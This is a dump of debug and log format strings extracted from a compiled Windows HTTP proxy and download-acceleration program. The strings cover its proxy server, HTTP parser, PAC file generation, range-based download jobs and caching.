[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

[FileDownloadMgr::GetCacheData] FDM=%d *** Use existing Cache Data CD:%d ***

[FileDownloadMgr::GetCacheData] FDM=%d - Download - no caching needed

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid IHttpCacheManager

[FileDownloadMgr::GetCacheData] FDM=%d ___Error invalid url

[FileDownloadMgr::GetCacheData] FDM=%d

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Warning *** Master worker passed all ranges. ***

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of worker (%d) updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d ___Error: The function FindWorkerByJob failed.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - There are %lld bytes left to discard.

[FileDownloadMgr::UpdateWorkersRanges] FDM=%d (Iter: %d), Range: %lld-%lld, Overlapped and Closed due to (job: %d)

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d ___Error update worker (%d). Must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - All the workers must discard %lld bytes.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - The end position of the first worker (%d) was updated to %lld.

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d First worker end position: %lld

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Worker (%d) downloaded %lld data bytes

[FileDownloadMgr::UpdateWorkersRanges] **** FDM=%d - Going update the workers ranges.

